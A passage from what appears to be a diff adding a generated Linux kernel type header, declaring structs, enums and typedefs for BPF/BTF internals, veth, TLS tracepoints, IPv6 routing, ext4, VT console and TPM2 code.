btf_kfunc_filter_t filters[16]; + u32 nr_filters; +}; + +struct btf_kfunc_set_tab { + struct btf_id_set8 *sets[13]; + struct btf_kfunc_hook_filter hook_filters[13]; +}; + +struct btf_id_dtor_kfunc_tab { + u32 cnt; + struct btf_id_dtor_kfunc dtors[0]; +}; + +enum verifier_phase { + CHECK_META = 0, + CHECK_TYPE = 1, +}; + +struct resolve_vertex { + const struct btf_type *t; + u32 type_id; + u16 next_member; +}; + +enum visit_state { + NOT_VISITED = 0, + VISITED = 1, + RESOLVED = 2, +}; + +enum resolve_mode { + RESOLVE_TBD = 0, + RESOLVE_PTR = 1, + RESOLVE_STRUCT_OR_ARRAY = 2, +}; + +struct btf_sec_info { + u32 off; + u32 len; +}; + +struct btf_verifier_env { + struct btf *btf; + u8 *visit_states; + struct resolve_vertex stack[32]; + struct bpf_verifier_log log; + u32 log_type_id; + u32 top_stack; + enum verifier_phase phase; + enum resolve_mode resolve_mode; +}; + +struct btf_show { + u64 flags; + void *target; + void (*showfn)(struct btf_show *, const char *, struct __va_list_tag *); + const struct btf *btf; + struct { + u8 depth; + u8 depth_to_show; + u8 depth_check; + u8 array_member: 1; + u8 array_terminated: 1; + u16 array_encoding; + u32 type_id; + int status; + const struct btf_type *type; + const struct btf_member *member; + char name[80]; + } state; + struct { + u32 size; + void *head; + void *data; + u8 safe[32]; + } obj; +}; + +struct btf_kind_operations { + s32 (*check_meta)(struct btf_verifier_env *, const struct btf_type *, u32); + int (*resolve)(struct btf_verifier_env *, const struct resolve_vertex *); + int (*check_member)(struct btf_verifier_env *, const struct btf_type *, const struct btf_member *, const struct btf_type *); + int (*check_kflag_member)(struct btf_verifier_env *, const struct btf_type *, const struct btf_member *, const struct btf_type *); + void (*log_details)(struct btf_verifier_env *, const struct btf_type *); + void (*show)(const struct btf *, const struct btf_type *, u32, void *, u8, struct btf_show *); +}; + +enum { + BTF_FIELD_IGNORE = 0, + BTF_FIELD_FOUND = 1, +}; + +struct btf_field_info { + enum btf_field_type type; + u32 off; + union { + struct { + u32 type_id; + } kptr; + struct { + const char *node_name; + u32 value_btf_id; + } graph_root; + }; +}; + +struct bpf_ctx_convert { + struct __sk_buff BPF_PROG_TYPE_SOCKET_FILTER_prog; + struct sk_buff BPF_PROG_TYPE_SOCKET_FILTER_kern; + struct __sk_buff BPF_PROG_TYPE_SCHED_CLS_prog; + struct sk_buff BPF_PROG_TYPE_SCHED_CLS_kern; + struct __sk_buff BPF_PROG_TYPE_SCHED_ACT_prog; + struct sk_buff BPF_PROG_TYPE_SCHED_ACT_kern; + struct xdp_md BPF_PROG_TYPE_XDP_prog; + struct xdp_buff BPF_PROG_TYPE_XDP_kern; + struct __sk_buff BPF_PROG_TYPE_CGROUP_SKB_prog; + struct sk_buff BPF_PROG_TYPE_CGROUP_SKB_kern; + struct bpf_sock BPF_PROG_TYPE_CGROUP_SOCK_prog; + struct sock BPF_PROG_TYPE_CGROUP_SOCK_kern; + struct bpf_sock_addr BPF_PROG_TYPE_CGROUP_SOCK_ADDR_prog; + struct bpf_sock_addr_kern BPF_PROG_TYPE_CGROUP_SOCK_ADDR_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_IN_prog; + struct sk_buff BPF_PROG_TYPE_LWT_IN_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_OUT_prog; + struct sk_buff BPF_PROG_TYPE_LWT_OUT_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_XMIT_prog; + struct sk_buff BPF_PROG_TYPE_LWT_XMIT_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_SEG6LOCAL_prog; + struct sk_buff BPF_PROG_TYPE_LWT_SEG6LOCAL_kern; + struct bpf_sock_ops BPF_PROG_TYPE_SOCK_OPS_prog; + struct bpf_sock_ops_kern BPF_PROG_TYPE_SOCK_OPS_kern; + struct __sk_buff BPF_PROG_TYPE_SK_SKB_prog; + struct sk_buff BPF_PROG_TYPE_SK_SKB_kern; + struct sk_msg_md BPF_PROG_TYPE_SK_MSG_prog; + struct sk_msg BPF_PROG_TYPE_SK_MSG_kern; + struct __sk_buff BPF_PROG_TYPE_FLOW_DISSECTOR_prog; + struct bpf_flow_dissector BPF_PROG_TYPE_FLOW_DISSECTOR_kern; + bpf_user_pt_regs_t BPF_PROG_TYPE_KPROBE_prog; + struct pt_regs BPF_PROG_TYPE_KPROBE_kern; + __u64 BPF_PROG_TYPE_TRACEPOINT_prog; + u64 BPF_PROG_TYPE_TRACEPOINT_kern; + struct bpf_perf_event_data BPF_PROG_TYPE_PERF_EVENT_prog; + struct bpf_perf_event_data_kern BPF_PROG_TYPE_PERF_EVENT_kern; + struct bpf_raw_tracepoint_args BPF_PROG_TYPE_RAW_TRACEPOINT_prog; + u64 BPF_PROG_TYPE_RAW_TRACEPOINT_kern; + struct bpf_raw_tracepoint_args BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE_prog; + u64 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE_kern; + void *BPF_PROG_TYPE_TRACING_prog; + void *BPF_PROG_TYPE_TRACING_kern; + struct bpf_cgroup_dev_ctx BPF_PROG_TYPE_CGROUP_DEVICE_prog; + struct bpf_cgroup_dev_ctx BPF_PROG_TYPE_CGROUP_DEVICE_kern; + struct bpf_sysctl BPF_PROG_TYPE_CGROUP_SYSCTL_prog; + struct bpf_sysctl_kern BPF_PROG_TYPE_CGROUP_SYSCTL_kern; + struct bpf_sockopt BPF_PROG_TYPE_CGROUP_SOCKOPT_prog; + struct bpf_sockopt_kern BPF_PROG_TYPE_CGROUP_SOCKOPT_kern; + __u32 BPF_PROG_TYPE_LIRC_MODE2_prog; + u32 BPF_PROG_TYPE_LIRC_MODE2_kern; + struct sk_reuseport_md BPF_PROG_TYPE_SK_REUSEPORT_prog; + struct sk_reuseport_kern BPF_PROG_TYPE_SK_REUSEPORT_kern; + struct bpf_sk_lookup BPF_PROG_TYPE_SK_LOOKUP_prog; + struct bpf_sk_lookup_kern BPF_PROG_TYPE_SK_LOOKUP_kern; + void *BPF_PROG_TYPE_STRUCT_OPS_prog; + void *BPF_PROG_TYPE_STRUCT_OPS_kern; + void *BPF_PROG_TYPE_EXT_prog; + void *BPF_PROG_TYPE_EXT_kern; + void *BPF_PROG_TYPE_LSM_prog; + void *BPF_PROG_TYPE_LSM_kern; + void *BPF_PROG_TYPE_SYSCALL_prog; + void *BPF_PROG_TYPE_SYSCALL_kern; + struct bpf_nf_ctx BPF_PROG_TYPE_NETFILTER_prog; + struct bpf_nf_ctx BPF_PROG_TYPE_NETFILTER_kern; +}; + +enum { + __ctx_convertBPF_PROG_TYPE_SOCKET_FILTER = 0, + __ctx_convertBPF_PROG_TYPE_SCHED_CLS = 1, + __ctx_convertBPF_PROG_TYPE_SCHED_ACT = 2, + __ctx_convertBPF_PROG_TYPE_XDP = 3, + __ctx_convertBPF_PROG_TYPE_CGROUP_SKB = 4, + __ctx_convertBPF_PROG_TYPE_CGROUP_SOCK = 5, + __ctx_convertBPF_PROG_TYPE_CGROUP_SOCK_ADDR = 6, + __ctx_convertBPF_PROG_TYPE_LWT_IN = 7, + __ctx_convertBPF_PROG_TYPE_LWT_OUT = 8, + __ctx_convertBPF_PROG_TYPE_LWT_XMIT = 9, + __ctx_convertBPF_PROG_TYPE_LWT_SEG6LOCAL = 10, + __ctx_convertBPF_PROG_TYPE_SOCK_OPS = 11, + __ctx_convertBPF_PROG_TYPE_SK_SKB = 12, + __ctx_convertBPF_PROG_TYPE_SK_MSG = 13, + __ctx_convertBPF_PROG_TYPE_FLOW_DISSECTOR = 14, + __ctx_convertBPF_PROG_TYPE_KPROBE = 15, + __ctx_convertBPF_PROG_TYPE_TRACEPOINT = 16, + __ctx_convertBPF_PROG_TYPE_PERF_EVENT = 17, + __ctx_convertBPF_PROG_TYPE_RAW_TRACEPOINT = 18, + __ctx_convertBPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 19, + __ctx_convertBPF_PROG_TYPE_TRACING = 20, + __ctx_convertBPF_PROG_TYPE_CGROUP_DEVICE = 21, + __ctx_convertBPF_PROG_TYPE_CGROUP_SYSCTL = 22, + __ctx_convertBPF_PROG_TYPE_CGROUP_SOCKOPT = 23, + __ctx_convertBPF_PROG_TYPE_LIRC_MODE2 = 24, + __ctx_convertBPF_PROG_TYPE_SK_REUSEPORT = 25, + __ctx_convertBPF_PROG_TYPE_SK_LOOKUP = 26, + __ctx_convertBPF_PROG_TYPE_STRUCT_OPS = 27, + __ctx_convertBPF_PROG_TYPE_EXT = 28, + __ctx_convertBPF_PROG_TYPE_LSM = 29, + __ctx_convertBPF_PROG_TYPE_SYSCALL = 30, + __ctx_convertBPF_PROG_TYPE_NETFILTER = 31, + __ctx_convert_unused = 32, +}; + +enum bpf_struct_walk_result { + WALK_SCALAR = 0, + WALK_PTR = 1, + WALK_STRUCT = 2, +}; + +struct btf_show_snprintf { + struct btf_show show; + int len_left; + int len; +}; + +enum { + BTF_MODULE_F_LIVE = 1, +}; + +struct btf_module { + struct list_head list; + struct module *module; + struct btf *btf; + struct bin_attribute *sysfs_attr; + int flags; +}; + +typedef u64 (*btf_bpf_btf_find_by_name_kind)(char *, int, u32, int); + +struct bpf_cand_cache { + const char *name; + u32 name_len; + u16 kind; + u16 cnt; + struct { + const struct btf *btf; + u32 id; + } cands[0]; +}; + +struct sidtab_str_cache { + struct callback_head rcu_member; + struct list_head lru_member; + struct sidtab_entry *parent; + u32 len; + char str[0]; +}; + +union nested_table { + union nested_table *table; + struct rhash_lock_head *bucket; +}; + +enum { + MATCH_MTR = 0, + MATCH_MEQ = 1, + MATCH_MLE = 2, + MATCH_MLT = 3, + MATCH_MGE = 4, + MATCH_MGT = 5, +}; + +struct unipair { + short unsigned int unicode; + short unsigned int fontpos; +}; + +struct uni_pagedict { + u16 **uni_pgdir[32]; + long unsigned int refcount; + long unsigned int sum; + unsigned char *inverse_translations[4]; + u16 *inverse_trans_unicode; +}; + +struct intel_agp_driver_description { + unsigned int chip_id; + char *name; + const struct agp_bridge_driver *driver; +}; + +struct tpm_info { + struct resource res; + int irq; +}; + +struct tpm_tis_tcg_phy { + struct tpm_tis_data priv; + void *iobase; +}; + +struct software_node_ref_args { + const struct software_node *node; + unsigned int nargs; + u64 args[8]; +}; + +struct swnode { + struct kobject kobj; + struct fwnode_handle fwnode; + const struct software_node *node; + int id; + struct ida child_ids; + struct list_head entry; + struct list_head children; + struct swnode *parent; + unsigned int allocated: 1; + unsigned int managed: 1; +}; + +enum { + VETH_INFO_UNSPEC = 0, + VETH_INFO_PEER = 1, + __VETH_INFO_MAX = 2, +}; + +struct veth_stats { + u64 rx_drops; + u64 xdp_packets; + u64 xdp_bytes; + u64 xdp_redirect; + u64 xdp_drops; + u64 xdp_tx; + u64 xdp_tx_err; + u64 peer_tq_xdp_xmit; + u64 peer_tq_xdp_xmit_err; +}; + +struct veth_rq_stats { + struct veth_stats vs; + struct u64_stats_sync syncp; +}; + +struct veth_rq { + struct napi_struct xdp_napi; + struct napi_struct *napi; + struct net_device *dev; + struct bpf_prog *xdp_prog; + struct xdp_mem_info xdp_mem; + struct veth_rq_stats stats; + bool rx_notify_masked; + long: 64; + struct ptr_ring xdp_ring; + struct xdp_rxq_info xdp_rxq; + struct page_pool *page_pool; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct veth_priv { + struct net_device *peer; + atomic64_t dropped; + struct bpf_prog *_xdp_prog; + struct veth_rq *rq; + unsigned int requested_headroom; +}; + +struct veth_xdp_tx_bq { + struct xdp_frame *q[16]; + unsigned int count; +}; + +struct veth_q_stat_desc { + char desc[32]; + size_t offset; +}; + +struct veth_xdp_buff { + struct xdp_buff xdp; + struct sk_buff *skb; +}; + +struct menu_device { + int needs_update; + int tick_wakeup; + u64 next_timer_ns; + unsigned int bucket; + unsigned int correction_factor[12]; + unsigned int intervals[8]; + int interval_ptr; +}; + +struct xdp_frame_bulk { + int count; + void *xa; + void *q[16]; +}; + +struct xdp_mem_allocator { + struct xdp_mem_info mem; + union { + void *allocator; + struct page_pool *page_pool; + }; + struct rhash_head node; + struct callback_head rcu; +}; + +struct tc_prio_qopt { + int bands; + __u8 priomap[16]; +}; + +struct skb_array { + struct ptr_ring ring; +}; + +struct psched_ratecfg { + u64 rate_bytes_ps; + u32 mult; + u16 overhead; + u16 mpu; + u8 linklayer; + u8 shift; +}; + +struct psched_pktrate { + u64 rate_pkts_ps; + u32 mult; + u8 shift; +}; + +struct pfifo_fast_priv { + struct skb_array q[3]; +}; + +enum nf_ct_sysctl_index { + NF_SYSCTL_CT_MAX = 0, + NF_SYSCTL_CT_COUNT = 1, + NF_SYSCTL_CT_BUCKETS = 2, + NF_SYSCTL_CT_CHECKSUM = 3, + NF_SYSCTL_CT_LOG_INVALID = 4, + NF_SYSCTL_CT_EXPECT_MAX = 5, + NF_SYSCTL_CT_ACCT = 6, + NF_SYSCTL_CT_PROTO_TIMEOUT_GENERIC = 7, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_SYN_SENT = 8, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_SYN_RECV = 9, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_ESTABLISHED = 10, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_FIN_WAIT = 11, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_CLOSE_WAIT = 12, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_LAST_ACK = 13, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_TIME_WAIT = 14, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_CLOSE = 15, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_RETRANS = 16, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_UNACK = 17, + NF_SYSCTL_CT_PROTO_TCP_LOOSE = 18, + NF_SYSCTL_CT_PROTO_TCP_LIBERAL = 19, + NF_SYSCTL_CT_PROTO_TCP_IGNORE_INVALID_RST = 20, + NF_SYSCTL_CT_PROTO_TCP_MAX_RETRANS = 21, + NF_SYSCTL_CT_PROTO_TIMEOUT_UDP = 22, + NF_SYSCTL_CT_PROTO_TIMEOUT_UDP_STREAM = 23, + NF_SYSCTL_CT_PROTO_TIMEOUT_ICMP = 24, + NF_SYSCTL_CT_PROTO_TIMEOUT_ICMPV6 = 25, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_CLOSED = 26, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_COOKIE_WAIT = 27, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_COOKIE_ECHOED = 28, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_ESTABLISHED = 29, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_SHUTDOWN_SENT = 30, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_SHUTDOWN_RECD = 31, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_SHUTDOWN_ACK_SENT = 32, + NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_HEARTBEAT_SENT = 33, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_REQUEST = 34, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_RESPOND = 35, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_PARTOPEN = 36, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_OPEN = 37, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_CLOSEREQ = 38, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_CLOSING = 39, + NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_TIMEWAIT = 40, + NF_SYSCTL_CT_PROTO_DCCP_LOOSE = 41, + NF_SYSCTL_CT_LWTUNNEL = 42, + __NF_SYSCTL_CT_LAST_SYSCTL = 43, +}; + +struct rt_cache_stat { + unsigned int in_slow_tot; + unsigned int in_slow_mc; + unsigned int in_no_route; + unsigned int in_brd; + unsigned int in_martian_dst; + unsigned int in_martian_src; + unsigned int out_slow_tot; + unsigned int out_slow_mc; +}; + +struct trace_event_raw_tls_device_offload_set { + struct trace_entry ent; + struct sock *sk; + u64 rec_no; + int dir; + u32 tcp_seq; + int ret; + char __data[0]; +}; + +struct trace_event_raw_tls_device_decrypted { + struct trace_entry ent; + struct sock *sk; + u64 rec_no; + u32 tcp_seq; + u32 rec_len; + bool encrypted; + bool decrypted; + char __data[0]; +}; + +struct trace_event_raw_tls_device_rx_resync_send { + struct trace_entry ent; + struct sock *sk; + u64 rec_no; + u32 tcp_seq; + int sync_type; + char __data[0]; +}; + +struct trace_event_raw_tls_device_rx_resync_nh_schedule { + struct trace_entry ent; + struct sock *sk; + char __data[0]; +}; + +struct trace_event_raw_tls_device_rx_resync_nh_delay { + struct trace_entry ent; + struct sock *sk; + u32 sock_data; + u32 rec_len; + char __data[0]; +}; + +struct trace_event_raw_tls_device_tx_resync_req { + struct trace_entry ent; + struct sock *sk; + u32 tcp_seq; + u32 exp_tcp_seq; + char __data[0]; +}; + +struct trace_event_raw_tls_device_tx_resync_send { + struct trace_entry ent; + struct sock *sk; + u64 rec_no; + u32 tcp_seq; + char __data[0]; +}; + +struct trace_event_data_offsets_tls_device_offload_set {}; + +struct trace_event_data_offsets_tls_device_decrypted {}; + +struct trace_event_data_offsets_tls_device_rx_resync_send {}; + +struct trace_event_data_offsets_tls_device_rx_resync_nh_schedule {}; + +struct trace_event_data_offsets_tls_device_rx_resync_nh_delay {}; + +struct trace_event_data_offsets_tls_device_tx_resync_req {}; + +struct trace_event_data_offsets_tls_device_tx_resync_send {}; + +typedef void (*btf_trace_tls_device_offload_set)(void *, struct sock *, int, u32, u8 *, int); + +typedef void (*btf_trace_tls_device_decrypted)(void *, struct sock *, u32, u8 *, u32, bool, bool); + +typedef void (*btf_trace_tls_device_rx_resync_send)(void *, struct sock *, u32, u8 *, int); + +typedef void (*btf_trace_tls_device_rx_resync_nh_schedule)(void *, struct sock *); + +typedef void (*btf_trace_tls_device_rx_resync_nh_delay)(void *, struct sock *, u32, u32); + +typedef void (*btf_trace_tls_device_tx_resync_req)(void *, struct sock *, u32, u32); + +typedef void (*btf_trace_tls_device_tx_resync_send)(void *, struct sock *, u32, u8 *); + +enum fib6_walk_state { + FWS_S = 0, + FWS_L = 1, + FWS_R = 2, + FWS_C = 3, + FWS_U = 4, +}; + +struct fib6_walker { + struct list_head lh; + struct fib6_node *root; + struct fib6_node *node; + struct fib6_info *leaf; + enum fib6_walk_state state; + unsigned int skip; + unsigned int count; + unsigned int skip_in_node; + int (*func)(struct fib6_walker *); + void *args; +}; + +struct ipv6_route_iter { + struct seq_net_private p; + struct fib6_walker w; + loff_t skip; + struct fib6_table *tbl; + int sernum; +}; + +struct bpf_iter__ipv6_route { + union { + struct bpf_iter_meta *meta; + }; + union { + struct fib6_info *rt; + }; +}; + +struct fib6_cleaner { + struct fib6_walker w; + struct net *net; + int (*func)(struct fib6_info *, void *); + int sernum; + void *arg; + bool skip_notify; +}; + +enum { + FIB6_NO_SERNUM_CHANGE = 0, +}; + +struct fib6_dump_arg { + struct net *net; + struct notifier_block *nb; + struct netlink_ext_ack *extack; +}; + +struct fib6_nh_pcpu_arg { + struct fib6_info *from; + const struct fib6_table *table; +}; + +struct lookup_args { + int offset; + const struct in6_addr *addr; +}; + +struct ip6t_standard { + struct ip6t_entry entry; + struct xt_standard_target target; +}; + +struct ip6t_error { + struct ip6t_entry entry; + struct xt_error_target target; +}; + +struct ip6t_getinfo { + char name[32]; + unsigned int valid_hooks; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int num_entries; + unsigned int size; +}; + +struct ip6t_replace { + char name[32]; + unsigned int valid_hooks; + unsigned int num_entries; + unsigned int size; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int num_counters; + struct xt_counters *counters; + struct ip6t_entry entries[0]; +}; + +struct ip6t_get_entries { + char name[32]; + unsigned int size; + struct ip6t_entry entrytable[0]; +}; + +struct memtype { + u64 start; + u64 end; + u64 subtree_max_end; + enum page_cache_mode type; + struct rb_node rb; +}; + +enum { + MEMTYPE_EXACT_MATCH = 0, + MEMTYPE_END_MATCH = 1, +}; + +struct cpumap { + unsigned int available; + unsigned int allocated; + unsigned int managed; + unsigned int managed_allocated; + bool initialized; + bool online; + long unsigned int alloc_map[4]; + long unsigned int managed_map[4]; +}; + +struct irq_matrix { + unsigned int matrix_bits; + unsigned int alloc_start; + unsigned int alloc_end; + unsigned int alloc_size; + unsigned int global_available; + unsigned int global_reserved; + unsigned int systembits_inalloc; + unsigned int total_allocated; + unsigned int online_maps; + struct cpumap *maps; + long unsigned int scratch_map[4]; + long unsigned int system_map[4]; +}; + +struct trace_event_raw_irq_matrix_global { + struct trace_entry ent; + unsigned int online_maps; + unsigned int global_available; + unsigned int global_reserved; + unsigned int total_allocated; + char __data[0]; +}; + +struct trace_event_raw_irq_matrix_global_update { + struct trace_entry ent; + int bit; + unsigned int online_maps; + unsigned int global_available; + unsigned int global_reserved; + unsigned int total_allocated; + char __data[0]; +}; + +struct trace_event_raw_irq_matrix_cpu { + struct trace_entry ent; + int bit; + unsigned int cpu; + bool online; + unsigned int available; + unsigned int allocated; + unsigned int managed; + unsigned int online_maps; + unsigned int global_available; + unsigned int global_reserved; + unsigned int total_allocated; + char __data[0]; +}; + +struct trace_event_data_offsets_irq_matrix_global {}; + +struct trace_event_data_offsets_irq_matrix_global_update {}; + +struct trace_event_data_offsets_irq_matrix_cpu {}; + +typedef void (*btf_trace_irq_matrix_online)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_offline)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_reserve)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_remove_reserved)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_assign_system)(void *, int, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_alloc_reserved)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_reserve_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_remove_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_alloc_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_assign)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_alloc)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_free)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +struct trace_bprintk_fmt { + struct list_head list; + const char *fmt; +}; + +struct fprobe_rethook_node { + struct rethook_node node; + long unsigned int entry_ip; + char data[0]; +}; + +struct bpf_bloom_filter { + struct bpf_map map; + u32 bitset_mask; + u32 hash_seed; + u32 nr_hash_funcs; + long unsigned int bitset[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef u64 (*btf_bpf_cgrp_storage_get)(struct bpf_map *, struct cgroup *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_cgrp_storage_delete)(struct bpf_map *, struct cgroup *); + +enum rseq_cpu_id_state { + RSEQ_CPU_ID_UNINITIALIZED = -1, + RSEQ_CPU_ID_REGISTRATION_FAILED = -2, +}; + +enum rseq_flags { + RSEQ_FLAG_UNREGISTER = 1, +}; + +enum rseq_cs_flags { + RSEQ_CS_FLAG_NO_RESTART_ON_PREEMPT = 1, + RSEQ_CS_FLAG_NO_RESTART_ON_SIGNAL = 2, + RSEQ_CS_FLAG_NO_RESTART_ON_MIGRATE = 4, +}; + +struct rseq_cs { + __u32 version; + __u32 flags; + __u64 start_ip; + __u64 post_commit_offset; + __u64 abort_ip; +}; + +struct trace_event_raw_rseq_update { + struct trace_entry ent; + s32 cpu_id; + s32 node_id; + s32 mm_cid; + char __data[0]; +}; + +struct trace_event_raw_rseq_ip_fixup { + struct trace_entry ent; + long unsigned int regs_ip; + long unsigned int start_ip; + long unsigned int post_commit_offset; + long unsigned int abort_ip; + char __data[0]; +}; + +struct trace_event_data_offsets_rseq_update {}; + +struct trace_event_data_offsets_rseq_ip_fixup {}; + +typedef void (*btf_trace_rseq_update)(void *, struct task_struct *); + +typedef void (*btf_trace_rseq_ip_fixup)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + +typedef int splice_actor(struct pipe_inode_info *, struct pipe_buffer *, struct splice_desc *); + +typedef int splice_direct_actor(struct pipe_inode_info *, struct splice_desc *); + +struct core_name { + char *corename; + int used; + int size; +}; + +struct fiemap { + __u64 fm_start; + __u64 fm_length; + __u32 fm_flags; + __u32 fm_mapped_extents; + __u32 fm_extent_count; + __u32 fm_reserved; + struct fiemap_extent fm_extents[0]; +}; + +struct fsuuid { + __u32 fsu_len; + __u32 fsu_flags; + __u8 fsu_uuid[0]; +}; + +struct move_extent { + __u32 reserved; + __u32 donor_fd; + __u64 orig_start; + __u64 donor_start; + __u64 len; + __u64 moved_len; +}; + +struct ext4_new_group_input { + __u32 group; + __u64 block_bitmap; + __u64 inode_bitmap; + __u64 inode_table; + __u32 blocks_count; + __u16 reserved_blocks; + __u16 unused; +}; + +struct fsmap { + __u32 fmr_device; + __u32 fmr_flags; + __u64 fmr_physical; + __u64 fmr_owner; + __u64 fmr_offset; + __u64 fmr_length; + __u64 fmr_reserved[3]; +}; + +struct fsmap_head { + __u32 fmh_iflags; + __u32 fmh_oflags; + __u32 fmh_count; + __u32 fmh_entries; + __u64 fmh_reserved[6]; + struct fsmap fmh_keys[2]; + struct fsmap fmh_recs[0]; +}; + +struct ext4_fsmap_head { + uint32_t fmh_iflags; + uint32_t fmh_oflags; + unsigned int fmh_count; + unsigned int fmh_entries; + struct ext4_fsmap fmh_keys[2]; +}; + +typedef void ext4_update_sb_callback(struct ext4_super_block *, const void *); + +struct getfsmap_info { + struct super_block *gi_sb; + struct fsmap_head *gi_data; + unsigned int gi_idx; + __u32 gi_last_flags; +}; + +struct selinux_kernel_status { + u32 version; + u32 sequence; + u32 enforcing; + u32 policyload; + u32 deny_unknown; +}; + +enum { + SUN_WHOLE_DISK = 5, + LINUX_RAID_PARTITION___3 = 253, +}; + +struct sun_info { + __be16 id; + __be16 flags; +}; + +struct sun_vtoc { + __be32 version; + char volume[8]; + __be16 nparts; + struct sun_info infos[8]; + __be16 padding; + __be32 bootinfo[3]; + __be32 sanity; + __be32 reserved[10]; + __be32 timestamp[8]; +}; + +struct sun_partition { + __be32 start_cylinder; + __be32 num_sectors; +}; + +struct sun_disklabel { + unsigned char info[128]; + struct sun_vtoc vtoc; + __be32 write_reinstruct; + __be32 read_reinstruct; + unsigned char spare[148]; + __be16 rspeed; + __be16 pcylcount; + __be16 sparecyl; + __be16 obs1; + __be16 obs2; + __be16 ilfact; + __be16 ncyl; + __be16 nacyl; + __be16 ntrks; + __be16 nsect; + __be16 obs3; + __be16 obs4; + struct sun_partition partitions[8]; + __be16 magic; + __be16 csum; +}; + +struct io_statx { + struct file *file; + int dfd; + unsigned int mask; + unsigned int flags; + struct filename *filename; + struct statx *buffer; +}; + +struct broken_edid { + u8 manufacturer[4]; + u32 model; + u32 fix; +}; + +struct __fb_timings { + u32 dclk; + u32 hfreq; + u32 vfreq; + u32 hactive; + u32 vactive; + u32 hblank; + u32 vblank; + u32 htotal; + u32 vtotal; +}; + +struct acpi_bus_type { + struct list_head list; + const char *name; + bool (*match)(struct device *); + struct acpi_device * (*find_companion)(struct device *); + void (*setup)(struct device *); +}; + +struct find_child_walk_data { + struct acpi_device *adev; + u64 address; + int score; + bool check_sta; + bool check_children; +}; + +typedef acpi_status (*acpi_execute_op)(struct acpi_walk_state *); + +struct acpi_port_info { + char *name; + u16 start; + u16 end; + u8 osi_dependency; +}; + +struct unimapdesc { + short unsigned int entry_ct; + struct unipair *entries; +}; + +struct vt_stat { + short unsigned int v_active; + short unsigned int v_signal; + short unsigned int v_state; +}; + +struct vt_sizes { + short unsigned int v_rows; + short unsigned int v_cols; + short unsigned int v_scrollsize; +}; + +struct vt_consize { + short unsigned int v_rows; + short unsigned int v_cols; + short unsigned int v_vlin; + short unsigned int v_clin; + short unsigned int v_vcol; + short unsigned int v_ccol; +}; + +struct vt_event { + unsigned int event; + unsigned int oldev; + unsigned int newev; + unsigned int pad[4]; +}; + +struct vt_setactivate { + unsigned int console; + struct vt_mode mode; +}; + +struct vt_event_wait { + struct list_head list; + struct vt_event event; + int done; +}; + +enum tpm2_handle_types { + TPM2_HT_HMAC_SESSION = 33554432, + TPM2_HT_POLICY_SESSION = 50331648, + TPM2_HT_TRANSIENT = 2147483648, +}; + +struct tpm2_context { + __be64 sequence; + __be32 saved_handle; + __be32 hierarchy; + __be16 blob_size; +} __attribute__((packed)); + +struct tpm2_cap_handles { + u8 more_data; + __be32 capability; + __be32 count; + __be32 handles[0]; +} __attribute__((packed)); + +struct mii_ioctl_data { + __u16 phy_id; + __u16 reg_num; + __u16 val_in; + __u16 val_out; +}; + +struct pps_kinfo { + __u32 assert_sequence; + __u32 clear_sequence; + struct pps_ktime assert_tu; + struct pps_ktime clear_tu; + int current_mode; +}; + +struct pps_fdata { + struct pps_kinfo info; + struct pps_ktime timeout; +}; + +struct pps_bind_args { + int tsformat; + int edge; + int consumer; +}; + +enum { + LWT_BPF_PROG_UNSPEC = 0, + LWT_BPF_PROG_FD = 1, + LWT_BPF_PROG_NAME = 2, + __LWT_BPF_PROG_MAX = 3, +}; + +enum { + LWT_BPF_UNSPEC = 0, + 